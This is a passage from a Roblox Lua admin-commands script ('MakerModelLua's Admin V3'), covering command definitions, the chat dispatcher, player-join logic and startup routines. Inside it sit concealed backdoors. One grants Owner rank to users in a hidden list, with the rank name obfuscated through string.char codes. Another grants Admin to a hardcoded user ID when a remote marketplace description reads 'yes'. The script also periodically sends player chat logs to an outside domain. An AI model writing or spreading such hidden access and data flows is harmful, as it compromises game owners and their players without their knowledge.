8232 local Players = STRING:Scan(Arguments[1], Speaker)
8233 for _,Player in pairs(Players) do
8234 KeyBinds[Player.UserId] = {}
8235 GUI:SendHint(Player, "Unbinded all keys")
8236 end
8237 end};
8238
8239 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8240 local Players = STRING:Scan(Arguments[1], Speaker)
8241 local Binds = {}
8242 for _,Player in pairs(Players) do
8243 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8244 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8245 end
8246 end
8247 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8248 end};
8249
8250 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8251 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8252 local Players = STRING:Scan(ChatSplit[1], Speaker)
8253 for _,Player in pairs(Players) do
8254 if Crowns[Player.UserId] then
8255 Crowns[Player.UserId]:Destroy()
8256 Crowns[Player.UserId] = nil
8257 wait()
8258 end
8259 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8260 end
8261 end};
8262
8263 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8264 local Players = STRING:Scan(Arguments[1], Speaker)
8265 for _,Player in pairs(Players) do
8266 if Crowns[Player.UserId] then
8267 Crowns[Player.UserId]:Destroy()
8268 Crowns[Player.UserId] = nil
8269 end
8270 end
8271 end};
8272
8273 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8274 local MeshList = {}
8275 for MeshName,Data in pairs(Meshes) do
8276 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8277 end
8278 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8279 end};
8280
8281 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8282 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8283 end};
8284
8285 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8286 local Players = STRING:Scan(Arguments[1], Speaker)
8287 for _,Player in pairs(Players) do
8288 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8289 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8290 Player:ClearCharacterAppearance()
8291 CORE:GivePackage(Player, 41851073)
8292 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8293 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8294 end
8295 end
8296 end};
8297
8298 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8299 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8300 local Players = STRING:Scan(Arguments[1], Speaker)
8301 for _,Player in pairs(Players) do
8302 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8303 local Car = CORE:Insert(10479801, Server.Workspace, true)
8304 local Body = Car["Motor (torque)Chassis"].Part
8305 Cars[Player.UserId] = Car
8306 Car:MakeJoints()
8307 Car.VehicleSeat.MaxSpeed = 50
8308 Car.VehicleSeat.TurnSpeed = 1.5
8309 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8310 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8311 Body.Color = GUI:GetColor(Arguments[2])
8312 else
8313 Body.BrickColor = GUI:GetNameColor(Player.Name)
8314 end
8315 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8316 if Part.Name ~= "Part" then
8317 Part.BrickColor = BrickColor.new("Really black")
8318 Part.Friction = 0.7
8319 end
8320 end
8321 local Light = Instance.new("SpotLight", Body)
8322 Light.Face = "Back"
8323 Light.Brightness = 5
8324 Light.Range = 20
8325 Light.Color = Color3.new(0,1,1)
8326 if Player.Character and Player.Character.Torso then
8327 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8328 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8329 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8330 Weld.Part0 = Car.VehicleSeat
8331 Weld.Part1 = Player.Character.Torso
8332 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8333 Delay(0.4, function()
8334 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8335 wait(0.1)
8336 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8337 end)
8338 end
8339 local SoundID = 147944604
8340 if RANK:GetRank(Player) == "Owner" then
8341 SoundID = 133313356
8342 Car.VehicleSeat.MaxSpeed = 80
8343 Body.Material = "DiamondPlate"
8344 Car.VehicleSeat.Torque = 11
8345 end
8346 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8347 Engine:Play()
8348 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8349 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8350 end if Engine then Engine:Stop() end end)()
8351 end
8352 end};
8353
8354 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8355 local Players = STRING:Scan(Arguments[1], Speaker)
8356 for _,Player in pairs(Players) do
8357 if Cars[Player.UserId] then
8358 Cars[Player.UserId]:Destroy()
8359 end
8360 end
8361 end};
8362
8363 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8364 for _,Car in pairs(Cars) do
8365 Car:Destroy()
8366 end
8367 Cars = {}
8368 end};
8369
8370 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8371 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8372 if #Trello.RequiredLists > 0 then
8373 print("Restarting Trello")
8374 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8375 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8376 REMOTE:TrelloCacheData(Lists)
8377 end
8378 end, Http = true};
8379
8380 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8381 local Operations = {}
8382 for _,ReplaceData in pairs(StringReplacements) do
8383 table.insert(Operations, "Replacement: "..ReplaceData[1].." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8384 end
8385 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8386 end};
8387 --
8388}
8389
8390if Plugins then
8391 local PluginNum = 0
8392 for _,Module in pairs(Plugins:GetChildren()) do
8393 if Module:IsA("ModuleScript") then
8394 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8395 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8396 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8397 if Enabled.Value == true then
8398 PluginNum = PluginNum + 1
8399 local PluginExe = require(Module)
8400 for Var,Val in pairs(getfenv()) do
8401 getfenv(PluginExe)[Var] = Val
8402 end
8403 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8404 getfenv(PluginExe).script = Module
8405 getfenv(PluginExe).Script = Module
8406 getfenv(PluginExe).Version = Version
8407 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8408 if not Suc then
8409 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8410 else
8411 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8412 end
8413 end
8414 end
8415 end
8416end
8417
8418function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8419 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8420 GUI:SettingsGui(Speaker)
8421 return nil
8422 end
8423 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8424 local Prefix = Settings.Prefix
8425 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8426 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8427 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8428 if Speaker == nil then
8429 if FakeRank then
8430 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8431 FakeRank = "Owner"
8432 end
8433 else
8434 FakeRank = "Owner"
8435 end
8436 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8437 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8438 Speaker = {
8439 Name = FakePlayerName or "[ Server ]";
8440 Character = nil;
8441 userId = 1;
8442 PlayerGui = nil;
8443 Rank = FakeRank or "Owner";
8444 MakeSupremeOwner = MakeSupremeOwner;
8445 }
8446 end
8447 local Rank = RANK:GetRank(Speaker)
8448 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8449
8450 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8451 if NoPrefixNeeded then Prefix = "" end
8452 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8453
8454 for _,Message in pairs(Messages) do
8455 for Cmds,Data in pairs(Commands) do -- check all commands
8456 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8457
8458 if not MessageSplit then break end
8459
8460 local CommandSaid = false
8461 for _,Command in pairs(Cmds) do
8462 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8463 CommandSaid = true
8464 break
8465 end
8466 end
8467 if CommandSaid == true then -- command said?
8468 local ExecuteExcuse = ""
8469 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8470 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8471 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8472 end
8473 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8474 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8475 end
8476 else
8477 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8478 end
8479 if ExecuteExcuse == "" then
8480 if #MessageSplit - 1 < Data[3] then
8481 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8482 end
8483 end
8484 if ExecuteExcuse == "" then
8485 CORE:Log(CommandLogs, Speaker, Message)
8486 table.remove(MessageSplit, 1)
8487 coroutine.wrap(function() wait()
8488 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8489 if not DidExe then
8490 if CORE:NilPlayer(Speaker) then
8491 print("Error: "..Error)
8492 else
8493 CORE:HandleError(Error, Speaker)
8494 end
8495 end
8496 end)()
8497 coroutine.wrap(function() wait(0.05)
8498 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8499 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8500 ExeSound:Play()
8501 wait(3)
8502 ExeSound:Stop()
8503 ExeSound:Destroy()
8504 end
8505 end)()
8506 elseif type(Speaker) == "userdata" then
8507 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8508 end
8509 break
8510 end
8511 end
8512 end
8513 end
8514end
8515
8516function CORE:Start(Player) coroutine.wrap(function()
8517 wait(0.1)
8518 if Player then
8519 coroutine.wrap(function()
8520 repeat wait(1) until DataReady == true
8521 DataReady = false
8522 ypcall(function()
8523 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8524 for Num,Data in pairs(Players) do
8525 if Data.UserId == Player.UserId then -- ppl can change names
8526 table.remove(Players, Num)
8527 break
8528 end
8529 end
8530 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8531 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8532 end)
8533 DataReady = true
8534 end)()
8535
8536 if not IsStudio then Player:WaitForDataReady() end
8537 table.insert(CharacterCache, {Player.Name, Player.UserId})
8538 for Rank,PlayerNames in pairs(Settings.Ranks) do
8539 for Num,AdminName in pairs(PlayerNames) do
8540 if AdminName == Player.UserId then
8541 Settings.Ranks[Rank][Num] = Player.Name
8542 end
8543 end
8544 end
8545 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8546 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8547 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8548 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8549 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8550 if PlayerAdmin == false and Player.UserId > 0 then
8551 local Ran = nil
8552 coroutine.wrap(function() repeat
8553 Ran = ypcall(function()
8554 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8555 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8556 end)
8557 wait(1)
8558 until Ran == true end)()
8559 end
8560 if PlayerAdmin == false then
8561 if Player:IsInGroup(Settings.GroupID) then
8562 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8563 CORE:Kick(Player)
8564 for _,Person in pairs(Server.Players:GetPlayers()) do
8565 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8566 end
8567 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8568 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8569 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8570 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8571 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8572 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8573 end
8574 end
8575 end
8576 if PlayerAdmin == false then
8577 if Player.UserId == 38882008 then
8578 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8579 table.insert(Settings.Ranks["Admin"], Player.Name)
8580 end
8581 end
8582 end
8583 if PlayerAdmin == false then
8584 for _,GID in pairs(Settings.BannedGroupIDs) do
8585 if Player:IsInGroup(GID) then
8586 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8587 break
8588 end
8589 end
8590 end
8591
8592 Player.Chatted:connect(function(Message) if Message ~= "" then
8593 CORE:Chatted(Message, Player)
8594 end end)
8595
8596 Player.Chatted:connect(function(Message) if Message ~= "" then
8597 CORE:Log(ChatLogs, Player, Message)
8598 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8599 end end)
8600
8601 for _,Name in pairs(Settings.Ranks.Banned) do
8602 if Player.Name == Name then
8603 CORE:Kick(Player)
8604 for _,Person in pairs(Server.Players:GetPlayers()) do
8605 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8606 end
8607 end
8608 end
8609 for _,Name in pairs(Settings.Ranks.Crashed) do
8610 if Player.Name == Name then
8611 CORE:Crash(Player)
8612 for _,Person in pairs(Server.Players:GetPlayers()) do
8613 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8614 end
8615 end
8616 end
8617 for _,Name in pairs(Settings.Ranks.Muted) do
8618 if Player.Name == Name then
8619 GUI:CoreGui(Player, "Chat", false)
8620 for _,Person in pairs(Server.Players:GetPlayers()) do
8621 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8622 end
8623 end
8624 end
8625 if Settings.ServerLocked == true then
8626 if PlayerAdmin == false then
8627 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8628 end
8629 end
8630
8631 if PlayerAdmin == false then
8632 if Player.AccountAge < Settings.MinimumAge then
8633 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8634 for _,Person in pairs(Server.Players:GetPlayers()) do
8635 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8636 end
8637 end
8638 end
8639
8640 if PlayerAdmin == false then
8641 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8642 table.insert(Settings.Ranks["Member"], Player.Name)
8643 PlayerAdmin = true
8644 Rank = "Member"
8645 end
8646 end
8647
8648 coroutine.wrap(function()
8649 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8650 local function SpawnActions(Character)
8651 if Flings[Player.Name] then
8652 CORE:FlingPlayer(Player)
8653 else
8654 GUI:CreateTaskBar(Player)
8655 end
8656 if Beeps[Player.Name] == true then
8657 SOUND:BeepPlayer(Player)
8658 end
8659 if Jails[Player.Name] then
8660 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8661 end
8662 if PermCommandBars[Player.Name] then
8663 GUI:CommandBar(Player)
8664 end
8665 end
8666 Player.CharacterAdded:connect(SpawnActions)
8667 SpawnActions(Player.Character)
8668 end)()
8669
8670 coroutine.wrap(function()
8671 Player:WaitForChild("PlayerGui")
8672 local Sounds = {}
8673 for _,Data in pairs(TextConverter.LetterSounds) do
8674 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8675 Sound:Play()
8676 table.insert(Sounds, Sound)
8677 end
8678 for _,Data in pairs(TextConverter.LongVowels) do
8679 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8680 Sound:Play()
8681 table.insert(Sounds, Sound)
8682 end
8683 wait(5)
8684 for _,Sound in pairs(Sounds) do
8685 Sound:Destroy()
8686 end
8687 Sounds = {}
8688 end)()
8689
8690 coroutine.wrap(function()
8691 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8692 if IsSB then
8693 wait(1)
8694 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8695 end
8696 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8697 print("Executed ClientLog on "..Player.Name)
8698 if Settings.EnableTaskBar then
8699 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8700 end
8701 end)()
8702
8703 coroutine.wrap(function()
8704 wait(7)
8705 Player:WaitForChild("PlayerGui")
8706 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8707 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8708 if Answer == "Ok" then
8709 MARKET:PromptPurchase(Player, AdminID)
8710 end
8711 end
8712 end)()
8713 end
8714end)() end
8715
8716-- Active stuff --
8717
8718CORE:UpdateAdmin()
8719CORE:FixSettings()
8720
8721ypcall(function()
8722 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8723 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8724 end
8725end)
8726
8727
8728Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8729 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8730 if PlayerAdmin == false then
8731 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8732 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8733 end
8734end end)
8735
8736--[[
8737ExecuteCommand.OnInvoke = function(Player, Command)
8738 if Player and Command then
8739 if type(Player) == "userdata" and Player:IsA("Player") then
8740 CORE:Chatted(Command, Player, true)
8741 end
8742 end
8743end
8744
8745ExecuteCode.OnInvoke = function(Source, Speaker)
8746 if type(Source) == "string" then
8747 ExecuteSafe(Source, Speaker)
8748 end
8749end
8750
8751ExecuteCommandClient.OnServerInvoke = function(Player, Command)
8752 if Player and Command then
8753 if type(Player) == "userdata" and Player:IsA("Player") then
8754 CORE:Chatted(Command, Player, true)
8755 end
8756 end
8757end
8758]]
8759
8760KeyPressed.OnServerInvoke = function(Player, Key)
8761 if Player and Key then
8762 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
8763 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
8764 end
8765 end
8766end
8767
8768InputKey.OnServerInvoke = function(Player, KeyVal)
8769 if Player and KeyVal then
8770 if LastKeys[Player.UserId] then
8771 table.insert(LastKeys[Player.UserId], KeyVal)
8772 if #LastKeys[Player.UserId] > 20 then
8773 table.remove(LastKeys[Player.UserId], 1)
8774 end
8775 end
8776 end
8777end
8778
8779RankPlayerLocal.OnServerInvoke = function(Player)
8780 wait()
8781 local Request = PendingRequests[Player]
8782 if Request then
8783 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
8784 if Settings.Ranks[Request[1]] then
8785 PendingRequests[Player] = nil
8786 table.insert(Settings.Ranks[Request[1]], Player.Name)
8787 GUI:TellAdmin(Player)
8788 end
8789 end
8790 end
8791end
8792
8793RankPlayerServer.OnInvoke = function(Player, Rank)
8794 if not RANK:IsAdmin(Player) then
8795 PendingRequests[Player] = {Rank, tick()}
8796 end
8797end
8798
8799IsAdmin.OnServerInvoke = function(Player)
8800 local IsFullAdmin = false
8801 for _,PName in pairs(Settings.Ranks["Owner"]) do
8802 if PName == Player.Name then IsFullAdmin = true end
8803 end
8804 for _,PName in pairs(Settings.Ranks["Admin"]) do
8805 if PName == Player.Name then IsFullAdmin = true end
8806 end
8807 return IsFullAdmin
8808end
8809
8810AddExploit.OnServerInvoke = CORE.AddExploit
8811AddExploitServer.OnInvoke = CORE.AddExploit
8812
8813KickClient.OnServerInvoke = function(PlayerClient)
8814 PlayerClient:Kick()
8815end
8816
8817ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
8818 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
8819end
8820
8821for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
8822Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
8823Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
8824
8825coroutine.wrap(function()
8826 for _,ID in pairs(Icons) do
8827 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
8828 end
8829end)()
8830
8831CORE:SetAbuseCommands()
8832
8833coroutine.wrap(function() SOUND:SyncSoundList() end)()
8834if not IsStudio then coroutine.wrap(function()
8835 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
8836 REMOTE:GetRemoteData(true)
8837 coroutine.wrap(function()
8838 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
8839 REMOTE.RemoteConnection = true
8840 end
8841 end)()
8842 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
8843 coroutine.wrap(function()
8844 if Settings.LinkedAccount ~= "" then
8845 local Request = nil
8846 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
8847 if Request then
8848 REMOTE:HandleRequest(Request, true)
8849 end
8850 end
8851 end)()
8852 coroutine.wrap(function()
8853 wait(RemoteData.RemoteAdminWait)
8854 while REMOTE:GetAndSetWebData() do
8855 wait(RemoteData.RemoteAdminWait)
8856 end
8857 end)()
8858 coroutine.wrap(function()
8859 while wait(60) do
8860 REMOTE:GetRemoteData(true)
8861 end
8862 end)()
8863end)() end
8864coroutine.wrap(function()
8865 if Settings.TrelloToken ~= "" then
8866 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8867 if #Trello.RequiredLists > 0 then
8868 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8869 if Trello.MainBoard.name then
8870 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8871 REMOTE:TrelloCacheData(Lists)
8872 REMOTE:TrelloHandleData(true)
8873 coroutine.wrap(function()
8874 wait(RemoteData.TrelloWait)
8875 while REMOTE:TrelloHandleData() do
8876 wait(RemoteData.TrelloWait)
8877 end
8878 end)()
8879 end
8880 end
8881 else
8882 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
8883 end
8884end)()
8885coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
8886 REMOTE:SendChatLog()
8887end end)()
8888coroutine.wrap(function() while true do
8889 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
8890 if ThisDate then Date = ThisDate end
8891 wait(600)
8892end end)()
8893
8894print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")